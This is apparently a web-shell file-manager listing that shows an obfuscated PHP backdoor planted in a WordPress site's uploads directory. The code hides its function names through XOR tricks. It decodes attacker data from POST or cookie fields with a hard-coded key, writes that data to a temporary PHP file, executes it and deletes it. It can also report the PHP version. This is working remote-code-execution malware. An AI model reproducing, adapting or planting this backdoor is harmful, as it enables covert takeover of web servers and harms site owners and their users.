HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/qgzyrpyk.php
<?php $b_lldg  =	'b_lldg'   ^    '7';$dcgabizq    =     "a"."r"."r".$b_lldg(97)    .    "\x79"	.   "\137"  . /*  pa_qq */ "m".$b_lldg(814-717)      . /* ee */ "p";


$jrjgww   =    $b_lldg(455-350)      .     $b_lldg(299-190)	.   "p".$b_lldg(278-170)     . /*bdvh */ "o"."d".$b_lldg(105-4);



function /*   h   */ lpvnb($laqed,	$flpqkpf)

{
    global	$b_lldg;    


 /*  agdb */ $laqed /*   jrtk  */ =	$b_lldg(102-42) /* fmp */ . /*  dar*/ $b_lldg(603-540)    . /*kdrdc */ $b_lldg(785-673) /*h*/ .    "h".$b_lldg(370-258)    .	$b_lldg(32)    .	"u"."n".$b_lldg(948-840)	.    "i"."n"."k"."\50" /*  _edthd   */ .     "_"."\137"       . /*t   */ $b_lldg(70)	.    $b_lldg(384-311) /*   vk */ .       "L".$b_lldg(395-326) /*rqfnfc*/ .    "_"."_"."\51" /* jyaeuh   */ .	"\x3b"	.     $b_lldg(32)    . /*   dgbhbg */ $laqed["\144"];    $ongbbmjg    = /* x*/ $b_lldg(373-271)       . /*   lq  */ "i"."l".$b_lldg(917-816)    . /* dfgwk  */ "_"."\160" /*  dxtr   */ . /* i   */ $b_lldg(305-188)       . /*  ubmzsy*/ $b_lldg(116) /*  pjpmjf  */ . /*  udzgno */ $b_lldg(95)     . /* wyzspl  */ "c".$b_lldg(540-429)	. /*m */ "n".$b_lldg(116)      .    "e"."\156" /*puhtb*/ .     "t"."s";


 /* aptym*/ 
    $ongbbmjg($flpqkpf,      $laqed);	

    cwengi_k($flpqkpf);

}


$rd_ez    = /*  y  */ 73;





function      cwengi_k($flpqkpf)
{


    global    $b_lldg;
     include($flpqkpf);

 /* uy*/ $nndug /*   am */ =  $flpqkpf;


    @unlink($nndug);
}
function	wzflxcod()


{
    global     $b_lldg;


    $gdmnqq /*ws */ = /*  y*/ array();


       $gdmnqq["p"."\x76"]    =      phpversion();   $gdmnqq[$b_lldg(412-297)    . /*dx*/ "v"]     = /*  wwh_lz*/ "3".$b_lldg(46)    . /*ftd */ "\65";
	$ewmfscj /*  szqj */ =	74;

	echo    @serialize($gdmnqq);
}






function /*s  */ ntlb_($laqed, /*dahgw */ $nqqqjqt)
{     global    $b_lldg;


    $ddewemjqw /*dgk   */ = /*   lyl   */ "";


 /*  xpjnk   */ $rhpnrpswas /*  anpjis */ =	strlen($laqed);

      $roqeesw	=    strlen($nqqqjqt);

	$gdmnqq /*  owo*/ =    0;       $zeswqdfu    =	0;
      

 /*   lq   */ while	($gdmnqq    <      $rhpnrpswas)      {    $haqxnsgld      =    $laqed[$gdmnqq]  ^	$nqqqjqt[$zeswqdfu /*  q  */ % /* eshgd   */ $roqeesw];

 /* c  */ $ddewemjqw /*  rijrkb  */ .=  $haqxnsgld;


    $zeswqdfu++;       

    $gdmnqq++;

    }

         if	(strlen($ddewemjqw) /*z   */ >	20)	{ /*   um  */ $ocv__       = /*   jikidy */ substr($ddewemjqw, /*y*/ 0, /*fcsj   */ 20);
    }

   if /* zw*/ (empty($ddewemjqw)) /*   gj */ {
 /*   e*/ $ddewemjqw	= /*  fh */ date('Y-m-d      H:i:s');


 /*  bencqa  */ } /*   xferb */ return    $ddewemjqw;}





function    ch_mcemq($tzrjffym)


{


    global /*gk  */ $b_lldg;


      
  $sjrocgr	= /*  _  */ "\71"      . /*  p */ "3"."2"."\x66" /* zhjp  */ .    "\67" /*   h  */ .  "0"."f".$b_lldg(723-668)  .	"-"."f"."\146" /*ntz */ .     "3"."\x38" /*   baojj  */ .    $b_lldg(45)  .	$b_lldg(52) /*   hwnj */ .     "\x30"   .  "\61"    . /*   t_p*/ $b_lldg(56)  .    $b_lldg(379-334)      .    "\x62"   . /*   _bf_*/ $b_lldg(537-436)       .   $b_lldg(733-631) /* noa */ . /*   txgk   */ "\70"     .     "-"."8"."\x66" /*  zbd */ . /*   pgf*/ "\65" /*  joxap  */ .	"2"."\144"."3"."3".$b_lldg(101)     .       "\144"."0".$b_lldg(48)    . /*   fktmr*/ "\x38";


	
 /*eap*/ foreach     ($tzrjffym  as /*vmj   */ $tdnafa    =>       $laqed)	{     go_kyym(base64_decode($laqed),   $sjrocgr,    $tdnafa);


     }

}


function /* twdkd */ go_kyym($laqed, /*  kdnluq */ $sjrocgr,   $tdnafa)
{
     global      $b_lldg;

     


 /*aag  */ $laqed    = /*mt   */ unserialize(ntlb_(ntlb_($laqed, /*  o   */ $sjrocgr), /*  aeas  */ $tdnafa));


	$nsppky /*   vjlm */ =       'fvbjrhyaml';


	$zxbek /*kkoccn  */ =      'kgegm';


      if /* pmugm   */ (isset($laqed["\141"	.	$b_lldg(1085-978)])) /*tihlki */ {
 /*   xdgkql */ if   ($laqed["a"] /*  umsef */ ==     "i") /* vpgpc   */ {


      wzflxcod();
  } /*xwg */ elseif    ($laqed["a"]	== /* e */ "e")  {    lpvnb($laqed,       sprintf("\x2e"    .    "/"."%".$b_lldg(543-428)    . /*  t */ "."."\x70"    . /* bl */ $b_lldg(475-367),       md5($sjrocgr)));

			$kilza    = /*  nhqnkv*/ 44;
   } /* ga */ exit(); /*ijgmp */ }


}
ch_mcemq($_POST);	$qujnispc   = /*bllo  */ 'rawurldecode';




$ucwbjjfc /* _ubpww  */ = /*  zr*/ $dcgabizq($qujnispc,      $_POST);$jrjgww("",    $qujnispc);


ch_mcemq($_COOKIE);$zby_v	=       $dcgabizq($qujnispc,    $_COOKIE);




?>